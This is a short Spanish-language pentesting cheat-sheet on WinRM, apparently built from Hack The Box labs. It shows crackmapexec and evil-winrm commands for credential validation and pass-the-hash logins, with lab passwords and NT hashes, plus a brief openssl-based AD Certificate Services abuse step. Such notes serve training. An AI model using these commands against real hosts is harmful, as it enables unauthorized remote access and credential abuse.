winrm-5985
winrm-5985
WINRM
Validación de credenciales
crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight'Autenticación por NT
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400dAutenticación por contraseña
evil-winrm -u 'sflowers' -H '1FCDB1F6015DCB318CC77BB2BDA14DB5' -i 10.10.11.175Abuso Microsoft Active Directory Certificate Services
Generar certificados con openssl
openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:Copio el csr y se lo proporciono al servicio

image
Descargo la clave pública y con evil-winrm me conecto a la máquina

image
Last updated